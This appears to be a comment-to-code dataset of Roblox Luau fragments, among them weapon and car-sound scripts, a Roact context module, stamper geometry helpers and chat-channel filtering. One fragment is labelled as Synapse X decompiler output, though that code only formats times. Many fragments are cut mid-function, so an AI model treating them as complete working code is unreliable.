return deflate(nil,Cframe:components())
else
-- yeah just thank string.unpack!
local a,b,c,d,e,f,g,h,i,j,k,l = flate(nil,Cframe,12)
return CFrame.new(a,b,c,d,e,f,g,h,i,j,k,l)
end
end,
["CoordinateFrame"] = function(isClass,Cframe)
if isClass then
return deflate(nil,Cframe:components())
else
local a,b,c,d,e,f,g,h,i,j,k,l = flate(nil,Cframe,12)
return CFrame.new(a,b,c,d,e,f,g,h,i,j,k,l)
end
end
}
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
|
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
|
-- создание обрамления
|
me = script.Parent
window=script.Parent.Parent
|
--[=[
@param ... any
@return args: table
Deserializes the arguments and returns the deserialized values in a table.
]=]
|
function Ser.DeserializeArgs(...: any): Args
local args = table.pack(...)
for i,arg in ipairs(args) do
if type(arg) == "table" then
local ser = Ser.Classes[arg.ClassName]
if ser then
args[i] = ser.Deserialize(arg)
end
end
end
return args
end
|
--[[
___ _______ _ _______
/ _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / /
/_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/
SecondLogic @ Inspare
Avxnturador @ Novena
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local BOVact = 0
local BOVact2 = 0
local BOV_Loudness = 3 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 1 --max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 2 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
script:WaitForChild("Whistle")
script:WaitForChild("BOV")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
end
end)
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = 0
if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end
while wait() do
local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)
BOVact = math.floor(psi*20)
WP = (psi)
WV = (psi/4)*TurboLoudness
BP = (1-(-psi/20))*BOV_Pitch
BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))
if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
if FE then
handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
else
car.DriveSeat.Whistle.Pitch = WP
car.DriveSeat.Whistle.Volume = WV
car.DriveSeat.BOV.Pitch = BP
car.DriveSeat.BOV.Volume = BV
end
if (tick()-ticc) >= 0.1 then
BOVact2 = math.floor(psi*20)
ticc = tick()
end
end
|
--[[
Construct the value that is assigned to Roact's context storage.
]]
|
local function createContextEntry(currentValue)
return {
value = currentValue,
onUpdate = createSignal(),
}
end
local function createProvider(context)
local Provider = Component:extend("Provider")
function Provider:init(props)
self.contextEntry = createContextEntry(props.value)
self:__addContext(context.key, self.contextEntry)
end
function Provider:willUpdate(nextProps)
-- If the provided value changed, immediately update the context entry.
--
-- During this update, any components that are reachable will receive
-- this updated value at the same time as any props and state updates
-- that are being applied.
if nextProps.value ~= self.props.value then
self.contextEntry.value = nextProps.value
end
end
function Provider:didUpdate(prevProps)
-- If the provided value changed, after we've updated every reachable
-- component, fire a signal to update the rest.
--
-- This signal will notify all context consumers. It's expected that
-- they will compare the last context value they updated with and only
-- trigger an update on themselves if this value is different.
--
-- This codepath will generally only update consumer components that has
-- a component implementing shouldUpdate between them and the provider.
if prevProps.value ~= self.props.value then
self.contextEntry.onUpdate:fire(self.props.value)
end
end
function Provider:render()
return createFragment(self.props[Children])
end
return Provider
end
local function createConsumer(context)
local Consumer = Component:extend("Consumer")
function Consumer.validateProps(props)
if type(props.render) ~= "function" then
return false, "Consumer expects a `render` function"
else
return true
end
end
function Consumer:init(props)
-- This value may be nil, which indicates that our consumer is not a
-- descendant of a provider for this context item.
self.contextEntry = self:__getContext(context.key)
end
function Consumer:render()
-- Render using the latest available for this context item.
--
-- We don't store this value in state in order to have more fine-grained
-- control over our update behavior.
local value
if self.contextEntry ~= nil then
value = self.contextEntry.value
else
value = context.defaultValue
end
return self.props.render(value)
end
function Consumer:didUpdate()
-- Store the value that we most recently updated with.
--
-- This value is compared in the contextEntry onUpdate hook below.
if self.contextEntry ~= nil then
self.lastValue = self.contextEntry.value
end
end
function Consumer:didMount()
if self.contextEntry ~= nil then
-- When onUpdate is fired, a new value has been made available in
-- this context entry, but we may have already updated in the same
-- update cycle.
--
-- To avoid sending a redundant update, we compare the new value
-- with the last value that we updated with (set in didUpdate) and
-- only update if they differ. This may happen when an update from a
-- provider was blocked by an intermediate component that returned
-- false from shouldUpdate.
self.disconnect = self.contextEntry.onUpdate:subscribe(function(newValue)
if newValue ~= self.lastValue then
-- Trigger a dummy state update.
self:setState({})
end
end)
end
end
function Consumer:willUnmount()
if self.disconnect ~= nil then
self.disconnect()
end
end
return Consumer
end
local Context = {}
Context.__index = Context
function Context.new(defaultValue)
return setmetatable({
defaultValue = defaultValue,
key = Symbol.named("ContextKey"),
}, Context)
end
function Context:__tostring()
return "RoactContext"
end
local function createContext(defaultValue)
local context = Context.new(defaultValue)
return {
Provider = createProvider(context),
Consumer = createConsumer(context),
}
end
return createContext
|
--[AUTO SIZE]--
|
function AutoSizeModule.Resize()
local Offset = 0
for _, Ui in pairs(PluginGui:GetChildren()) do
if Ui:IsA("Frame") then
Offset = Offset + Ui.AbsoluteSize.Y
end
end
if PluginGui.AbsoluteSize.Y < Offset then
PluginGui.CanvasSize = UDim2.new(0,0,0, Offset)
end
if PluginGui.AbsoluteSize.Y > Offset then
PluginGui.CanvasSize = UDim2.new(0,0,1,0)
end
end
PluginGui.Changed:Connect(AutoSizeModule.Resize)
return AutoSizeModule
|
-- rotates a model by yAngle radians about the global y-axis
|
local function rotatePartAndChildren(part, rotCF, offsetFromOrigin)
-- rotate this thing, if it's a part
if part:IsA("BasePart") then
part.CFrame = (rotCF * (part.CFrame - offsetFromOrigin)) + offsetFromOrigin
end
-- recursively do the same to all children
local partChildren = part:GetChildren()
for c = 1, #partChildren do rotatePartAndChildren(partChildren[c], rotCF, offsetFromOrigin) end
end
local function modelRotate(model, yAngle)
local rotCF = CFrame.Angles(0, yAngle, 0)
local offsetFromOrigin = model:GetModelCFrame().p
rotatePartAndChildren(model, rotCF, offsetFromOrigin)
end
local function collectParts(object, baseParts, scripts, decals)
if object:IsA("BasePart") then
baseParts[#baseParts+1] = object
elseif object:IsA("Script") then
scripts[#scripts+1] = object
elseif object:IsA("Decal") then
decals[#decals+1] = object
end
for index,child in pairs(object:GetChildren()) do
collectParts(child, baseParts, scripts, decals)
end
end
local function clusterPartsInRegion(startVector, endVector)
local cluster = game:GetService("Workspace"):FindFirstChild("Terrain")
local startCell = cluster:WorldToCell(startVector)
local endCell = cluster:WorldToCell(endVector)
local startX = startCell.X
local startY = startCell.Y
local startZ = startCell.Z
local endX = endCell.X
local endY = endCell.Y
local endZ = endCell.Z
if startX < cluster.MaxExtents.Min.X then startX = cluster.MaxExtents.Min.X end
if startY < cluster.MaxExtents.Min.Y then startY = cluster.MaxExtents.Min.Y end
if startZ < cluster.MaxExtents.Min.Z then startZ = cluster.MaxExtents.Min.Z end
if endX > cluster.MaxExtents.Max.X then endX = cluster.MaxExtents.Max.X end
if endY > cluster.MaxExtents.Max.Y then endY = cluster.MaxExtents.Max.Y end
if endZ > cluster.MaxExtents.Max.Z then endZ = cluster.MaxExtents.Max.Z end
for x = startX, endX do
for y = startY, endY do
for z = startZ, endZ do
if (cluster:GetCell(x, y, z).Value) > 0 then return true end
end
end
end
return false
end
local function findSeatsInModel(parent, seatTable)
if not parent then return end
if parent.className == "Seat" or parent.className == "VehicleSeat" then
table.insert(seatTable, parent)
end
local myChildren = parent:GetChildren()
for j = 1, #myChildren do
findSeatsInModel(myChildren[j], seatTable)
end
end
local function setSeatEnabledStatus(model, isEnabled)
local seatList = {}
findSeatsInModel(model, seatList)
if isEnabled then
-- remove any welds called "SeatWeld" in seats
for i = 1, #seatList do
local nextSeat = seatList[i]:FindFirstChild("SeatWeld")
while nextSeat do nextSeat:Remove() nextSeat = seatList[i]:FindFirstChild("SeatWeld") end
end
else
-- put a weld called "SeatWeld" in every seat
-- this tricks it into thinking there's already someone sitting there, and it won't make you sit XD
for i = 1, #seatList do
local fakeWeld = Instance.new("Weld")
fakeWeld.Name = "SeatWeld"
fakeWeld.Parent = seatList[i]
end
end
end
local function autoAlignToFace(parts)
local aatf = parts:FindFirstChild("AutoAlignToFace")
if aatf then return aatf.Value else return false end
end
local function getClosestAlignedWorldDirection(aVector3InWorld)
local xDir = Vector3.new(1,0,0)
local yDir = Vector3.new(0,1,0)
local zDir = Vector3.new(0,0,1)
local xDot = aVector3InWorld.x * xDir.x + aVector3InWorld.y * xDir.y + aVector3InWorld.z * xDir.z
local yDot = aVector3InWorld.x * yDir.x + aVector3InWorld.y * yDir.y + aVector3InWorld.z * yDir.z
local zDot = aVector3InWorld.x * zDir.x + aVector3InWorld.y * zDir.y + aVector3InWorld.z * zDir.z
if math.abs(xDot) > math.abs(yDot) and math.abs(xDot) > math.abs(zDot) then
if xDot > 0 then
return 0
else
return 3
end
elseif math.abs(yDot) > math.abs(xDot) and math.abs(yDot) > math.abs(zDot) then
if yDot > 0 then
return 1
else
return 4
end
else
if zDot > 0 then
return 2
else
return 5
end
end
end
local function positionPartsAtCFrame3(aCFrame, currentParts)
local insertCFrame = nil
if not currentParts then return currentParts end
if currentParts and (currentParts:IsA("Model") or currentParts:IsA("Tool")) then
insertCFrame = currentParts:GetModelCFrame()
currentParts:TranslateBy(aCFrame.p - insertCFrame.p)
else
currentParts.CFrame = aCFrame
end
return currentParts
end
local function calcRayHitTime(rayStart, raySlope, intersectionPlane)
if math.abs(raySlope) < .01 then return 0 end -- 0 slope --> we just say intersection time is 0, and sidestep this dimension
return (intersectionPlane - rayStart) / raySlope
end
local function modelTargetSurface(partOrModel, rayStart, rayEnd)
if not partOrModel then
return 0
end
local modelCFrame = nil
local modelSize = nil
if partOrModel:IsA("Model") then
modelCFrame = partOrModel:GetModelCFrame()
modelSize = partOrModel:GetModelSize()
else
modelCFrame = partOrModel.CFrame
modelSize = partOrModel.Size
end
local mouseRayStart = modelCFrame:pointToObjectSpace(rayStart)
local mouseRayEnd = modelCFrame:pointToObjectSpace(rayEnd)
local mouseSlope = mouseRayEnd - mouseRayStart
local xPositive = 1
local yPositive = 1
local zPositive = 1
if mouseSlope.X > 0 then xPositive = -1 end
if mouseSlope.Y > 0 then yPositive = -1 end
if mouseSlope.Z > 0 then zPositive = -1 end
-- find which surface the transformed mouse ray hits (using modelSize):
local xHitTime = calcRayHitTime(mouseRayStart.X, mouseSlope.X, modelSize.X/2 * xPositive)
local yHitTime = calcRayHitTime(mouseRayStart.Y, mouseSlope.Y, modelSize.Y/2 * yPositive)
local zHitTime = calcRayHitTime(mouseRayStart.Z, mouseSlope.Z, modelSize.Z/2 * zPositive)
local hitFace = 0
--if xHitTime >= 0 and yHitTime >= 0 and zHitTime >= 0 then
if xHitTime > yHitTime then
if xHitTime > zHitTime then
-- xFace is hit
hitFace = 1*xPositive
else
-- zFace is hit
hitFace = 3*zPositive
end
else
if yHitTime > zHitTime then
-- yFace is hit
hitFace = 2*yPositive
else
-- zFace is hit
hitFace = 3*zPositive
end
end
return hitFace
end
local function getBoundingBox2(partOrModel)
-- for models, the bounding box is defined as the minimum and maximum individual part bounding boxes
-- relative to the first part's coordinate frame.
local minVec = Vector3.new(math.huge, math.huge, math.huge)
local maxVec = Vector3.new(-math.huge, -math.huge, -math.huge)
if partOrModel:IsA("Terrain") then
minVec = Vector3.new(-2, -2, -2)
maxVec = Vector3.new(2, 2, 2)
elseif partOrModel:IsA("BasePart") then
minVec = -0.5 * partOrModel.Size
maxVec = -minVec
else
maxVec = partOrModel:GetModelSize()*0.5
minVec = -maxVec
end
-- Adjust bounding box to reflect what the model or part author wants in terms of justification
local justifyValue = partOrModel:FindFirstChild("Justification")
if justifyValue ~= nil then
-- find the multiple of 4 that contains the model
local justify = justifyValue.Value
local two = Vector3.new(2, 2, 2)
local actualBox = maxVec - minVec - Vector3.new(0.01, 0.01, 0.01)
local containingGridBox = Vector3.new(4 * math.ceil(actualBox.x/4), 4 * math.ceil(actualBox.y/4), 4 * math.ceil(actualBox.z/4))
local adjustment = containingGridBox - actualBox
minVec = minVec - 0.5 * adjustment * justify
maxVec = maxVec + 0.5 * adjustment * (two - justify)
end
return minVec, maxVec
end
local function getBoundingBoxInWorldCoordinates(partOrModel)
local minVec = Vector3.new(math.huge, math.huge, math.huge)
local maxVec = Vector3.new(-math.huge, -math.huge, -math.huge)
if partOrModel:IsA("BasePart") and not partOrModel:IsA("Terrain") then
local vec1 = partOrModel.CFrame:pointToWorldSpace(-0.5 * partOrModel.Size)
local vec2 = partOrModel.CFrame:pointToWorldSpace(0.5 * partOrModel.Size)
minVec = Vector3.new(math.min(vec1.X, vec2.X), math.min(vec1.Y, vec2.Y), math.min(vec1.Z, vec2.Z))
maxVec = Vector3.new(math.max(vec1.X, vec2.X), math.max(vec1.Y, vec2.Y), math.max(vec1.Z, vec2.Z))
elseif partOrModel:IsA("Terrain") then
-- we shouldn't have to deal with this case
--minVec = Vector3.new(-2, -2, -2)
--maxVec = Vector3.new(2, 2, 2)
else
local vec1 = partOrModel:GetModelCFrame():pointToWorldSpace(-0.5 * partOrModel:GetModelSize())
local vec2 = partOrModel:GetModelCFrame():pointToWorldSpace(0.5 * partOrModel:GetModelSize())
minVec = Vector3.new(math.min(vec1.X, vec2.X), math.min(vec1.Y, vec2.Y), math.min(vec1.Z, vec2.Z))
maxVec = Vector3.new(math.max(vec1.X, vec2.X), math.max(vec1.Y, vec2.Y), math.max(vec1.Z, vec2.Z))
end
return minVec, maxVec
end
local function getTargetPartBoundingBox(targetPart)
if targetPart.Parent:FindFirstChild("RobloxModel") ~= nil then
return getBoundingBox2(targetPart.Parent)
else
return getBoundingBox2(targetPart)
end
end
local function getMouseTargetCFrame(targetPart)
if targetPart.Parent:FindFirstChild("RobloxModel") ~= nil then
if targetPart.Parent:IsA("Tool") then return targetPart.Parent.Handle.CFrame
else return targetPart.Parent:GetModelCFrame() end
else
return targetPart.CFrame
end
end
local function isBlocker(part) -- returns whether or not we want to cancel the stamp because we're blocked by this part
if not part then return false end
if not part.Parent then return false end
if part:FindFirstChild("Humanoid") then return false end
if part:FindFirstChild("RobloxStamper") or part:FindFirstChild("RobloxModel") then return true end
if part:IsA("Part") and not part.CanCollide then return false end
if part == game:GetService("Lighting") then return false end
return isBlocker(part.Parent)
end
|
-- Right Leg
|
character:FindFirstChild("LeftUpperLeg").LocalTransparencyModifier = 0
character:FindFirstChild("LeftLowerLeg").LocalTransparencyModifier = 0
character:FindFirstChild("LeftFoot").LocalTransparencyModifier = 0
|
-- The data store service
|
local dataStore = dataStoreService:GetOrderedDataStore(DataParam)
|
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = ""
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""
|
end
end
F.volumech = function(v)
carSeat.Parent.Body.MP.Sound.Volume = v
carSeat.Parent.Body.Dash.Screen.G.Radio.VOLMENU.VolumeText.Text = "VOLUME: "..v
end
F.updateSong = function(Song)
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
wait()
carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song
wait()
carSeat.Parent.Body.MP.Sound:Play()
|
-- aButton:TweenPosition(ApositionNormal, "InOut", "Sine", 0.1)
|
end)
aButton.MouseLeave:Connect(function()
aButton:TweenSize(sizeNormal, "InOut", "Sine", 0.1)
|
-- ROBLOX devation: Circular dependency, inline type
-- local bindModule = require(script.Parent.Parent.bind)
-- type EachTests = bindModule.EachTests
|
type EachTests = Array<{
title: string,
arguments: Array<any>,
}>
local interpolationModule = require(script.Parent.interpolation)
type Templates = interpolationModule.Templates
local interpolateVariables = interpolationModule.interpolateVariables
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
|
function methods:InternalDestroy()
for i, speaker in pairs(self.Speakers) do
speaker:LeaveChannel(self.Name)
end
self.eDestroyed:Fire()
self.eDestroyed:Destroy()
self.eMessagePosted:Destroy()
self.eSpeakerJoined:Destroy()
self.eSpeakerLeft:Destroy()
self.eSpeakerMuted:Destroy()
self.eSpeakerUnmuted:Destroy()
end
function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
local filtersIterator = self.FilterMessageFunctions:GetIterator()
for funcId, func, priority in filtersIterator do
local success, errorMessage = pcall(function()
func(speakerName, messageObj, channel)
end)
if not success then
warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
end
end
end
function methods:InternalDoProcessCommands(speakerName, message, channel)
local commandsIterator = self.ProcessCommandsFunctions:GetIterator()
for funcId, func, priority in commandsIterator do
local success, returnValue = pcall(function()
local ret = func(speakerName, message, channel)
if type(ret) ~= "boolean" then
error("Process command functions must return a bool")
end
return ret
end)
if not success then
warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
elseif returnValue then
return true
end
end
return false
end
function methods:InternalPostMessage(fromSpeaker, message, extraData)
if (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end
if (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then
local t = self.Mutes[fromSpeaker.Name:lower()]
if (t > 0 and os.time() > t) then
self:UnmuteSpeaker(fromSpeaker.Name)
else
self:SendSystemMessageToSpeaker(ChatLocalization:FormatMessageToSend("GameChat_ChatChannel_MutedInChannel","You are muted and cannot talk in this channel"), fromSpeaker.Name)
return false
end
end
local messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData)
-- allow server to process the unfiltered message string
messageObj.Message = message
local processedMessage
pcall(function()
processedMessage = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnServerReceivingMessage, messageObj)
end)
messageObj.Message = nil
if processedMessage then
-- developer server code's choice to mute the message
if processedMessage.ShouldDeliver == false then
return false
end
messageObj = processedMessage
end
message = self:SendMessageObjToFilters(message, messageObj, fromSpeaker)
local sentToList = {}
for i, speaker in pairs(self.Speakers) do
local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)
if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then
table.insert(sentToList, speaker.Name)
if speaker.Name == fromSpeaker.Name then
-- Send unfiltered message to speaker who sent the message.
local cMessageObj = ShallowCopy(messageObj)
if userShouldMuteUnfilteredMessage then
local messageLength = messageObj.MessageLengthUtf8 or messageObj.MessageLength
cMessageObj.Message = string.rep("_", messageLength)
else
cMessageObj.Message = message
end
cMessageObj.IsFiltered = true
-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.
speaker:InternalSendMessage(cMessageObj, self.Name)
else
speaker:InternalSendMessage(messageObj, self.Name)
end
end
end
local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)
if not success and err then
print("Error posting message: " ..err)
end
local textFilterContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat
local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(
messageObj.FromSpeaker,
message,
textFilterContext
)
if (filterSuccess) then
messageObj.FilterResult = filteredMessage
messageObj.IsFilterResult = isFilterResult
else
if UserFlagRemoveMessageOnTextFilterFailures then
messageObj.IsFilterResult = false
messageObj.FilterResult = ""
messageObj.MessageLength = 0
else
return false
end
end
messageObj.IsFiltered = true
self:InternalAddMessageToHistoryLog(messageObj)
for _, speakerName in pairs(sentToList) do
local speaker = self.Speakers[speakerName]
if (speaker) then
speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
end
-- One more pass is needed to ensure that no speakers do not recieve the message.
-- Otherwise a user could join while the message is being filtered who had not originally been sent the message.
local speakersMissingMessage = {}
for _, speaker in pairs(self.Speakers) do
local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)
if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then
local wasSentMessage = false
for _, sentSpeakerName in pairs(sentToList) do
if speaker.Name == sentSpeakerName then
wasSentMessage = true
break
end
end
if not wasSentMessage then
table.insert(speakersMissingMessage, speaker.Name)
end
end
end
for _, speakerName in pairs(speakersMissingMessage) do
local speaker = self.Speakers[speakerName]
if speaker then
speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
end
return messageObj
end
function methods:InternalAddSpeaker(speaker)
if (self.Speakers[speaker.Name]) then
warn("Speaker \"" .. speaker.name .. "\" is already in the channel!")
return
end
self.Speakers[speaker.Name] = speaker
local success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end)
if not success and err then
print("Error removing channel: " ..err)
end
end
function methods:InternalRemoveSpeaker(speaker)
if (not self.Speakers[speaker.Name]) then
warn("Speaker \"" .. speaker.name .. "\" is not in the channel!")
return
end
self.Speakers[speaker.Name] = nil
local success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end)
if not success and err then
print("Error removing speaker: " ..err)
end
end
function methods:InternalRemoveExcessMessagesFromLog()
local remove = table.remove
while (#self.ChatHistory > self.MaxHistory) do
remove(self.ChatHistory, 1)
end
end
function methods:InternalAddMessageToHistoryLog(messageObj)
table.insert(self.ChatHistory, messageObj)
self:InternalRemoveExcessMessagesFromLog()
end
function methods:GetMessageType(message, fromSpeaker)
if fromSpeaker == nil then
return ChatConstants.MessageTypeSystem
end
return ChatConstants.MessageTypeDefault
end
function methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData)
local messageType = self:GetMessageType(message, fromSpeaker)
local speakerUserId = -1
local speakerDisplayName = nil
local speaker = nil
if fromSpeaker then
speaker = self.ChatService:GetSpeaker(fromSpeaker)
if speaker then
local player = speaker:GetPlayer()
if player then
speakerUserId = player.UserId
if ChatSettings.PlayerDisplayNamesEnabled then
speakerDisplayName = speaker:GetNameForDisplay()
end
else
speakerUserId = 0
end
end
end
local messageObj =
{
ID = self.ChatService:InternalGetUniqueMessageId(),
FromSpeaker = fromSpeaker,
SpeakerDisplayName = speakerDisplayName,
SpeakerUserId = speakerUserId,
OriginalChannel = self.Name,
MessageLength = string.len(message),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),
MessageType = messageType,
IsFiltered = isFiltered,
Message = isFiltered and message or nil,
--// These two get set by the new API. The comments are just here
--// to remind readers that they will exist so it's not super
--// confusing if they find them in the code but cannot find them
--// here.
--FilterResult = nil,
--IsFilterResult = false,
Time = os.time(),
ExtraData = {},
}
if speaker then
for k, v in pairs(speaker.ExtraData) do
messageObj.ExtraData[k] = v
end
end
if (extraData) then
for k, v in pairs(extraData) do
messageObj.ExtraData[k] = v
end
end
return messageObj
end
function methods:SetChannelNameColor(color)
self.ChannelNameColor = color
for i, speaker in pairs(self.Speakers) do
speaker:UpdateChannelNameColor(self.Name, color)
end
end
function methods:GetWelcomeMessageForSpeaker(speaker)
if self.GetWelcomeMessageFunction then
local welcomeMessage = self.GetWelcomeMessageFunction(speaker)
if welcomeMessage then
return welcomeMessage
end
end
return self.WelcomeMessage
end
function methods:RegisterGetWelcomeMessageFunction(func)
if type(func) ~= "function" then
error("RegisterGetWelcomeMessageFunction must be called with a function.")
end
self.GetWelcomeMessageFunction = func
end
function methods:UnRegisterGetWelcomeMessageFunction()
self.GetWelcomeMessageFunction = nil
end
|
-- Setup animation objects
|
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
|
--{{NUMBERS}} : FADE TIMES AND MORE.
|
Settings.RandomOffset = {-4, 4}
Settings.FadeOutTime = 1;
Settings.FadeInTime = 1;
Settings.IndicatorLength = 0.5;
|
-- fun = what they have to type (make sure it is lowercased)
-- The first value in the table is what shows in the cmds
-- Make sure to set this "2" to the rank you want players to have to use this
-- This function is what runs the command when it is called
|
fun = {"Fun [Player]";{2};{"Player"};function(plr, cmds)
for i,v in pairs(cmds[1]) do -- This would basically get all the players it could find. Example: ;fun me would return only you in the table.
print(v.Name)
end
end;};
}
|
-------------------------
|
function onClicked()
R.Function1.Disabled = true
R.Function2.Disabled = false
R.BrickColor = BrickColor.new("Institutional white")
N.One1.BrickColor = BrickColor.new("Really black")
N.One2.BrickColor = BrickColor.new("Really black")
N.One4.BrickColor = BrickColor.new("Really black")
N.Four1.BrickColor = BrickColor.new("Really black")
N.Three4.BrickColor = BrickColor.new("Really black")
N.Two1.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
----------------------------------------------------------------------------
--- Functionality Loop ---------------------------------------------------
----------------------------------------------------------------------------
|
RunService.Heartbeat:Connect(function(deltaTime)
accumulatedChance += deltaTime * Settings.Rate
if CanShow and ScreenBlockCFrame.LookVector.Y > -0.4 and not UnderObject(ScreenBlockCFrame.Position) then
for i = 1, math.floor(accumulatedChance) do
CreateDroplet()
end
accumulatedChance %= 1
else
accumulatedChance %= 1
end
end)
|
--// Hash: 0218d61d1d1792385ae2692ae364231570b8f02b5ace6792db021c339736f38d55bc1e6ce32cce0d947d549bcde07a8a
-- Decompiled with the Synapse X Luau decompiler.
|
function Format(p1)
return string.format("%02i", p1);
end;
function convertToHMS(p2, p3, p4)
local v1 = nil;
local v2 = (p2 - p2 % 60) / 60;
p2 = p2 - v2 * 60;
local v3 = (v2 - v2 % 60) / 60;
v1 = v2 - v3 * 60;
if p4 then
return Format(v3), Format(v1), Format(p2);
end;
if p3 then
else
return Format(v1) .. ":" .. Format(p2);
end;
return Format(v3) .. ":" .. Format(v1) .. ":" .. Format(p2);
end;
return convertToHMS;
|
-- Make Connection strict
|
setmetatable(Connection, {
__index = function(_tb, key)
error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
end,
__newindex = function(_tb, key, _value)
error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
end
})
|
-- Setup animation objects
|
for name, fileList in pairs(animNames) do
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
-- print("Loading anims " .. name)
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
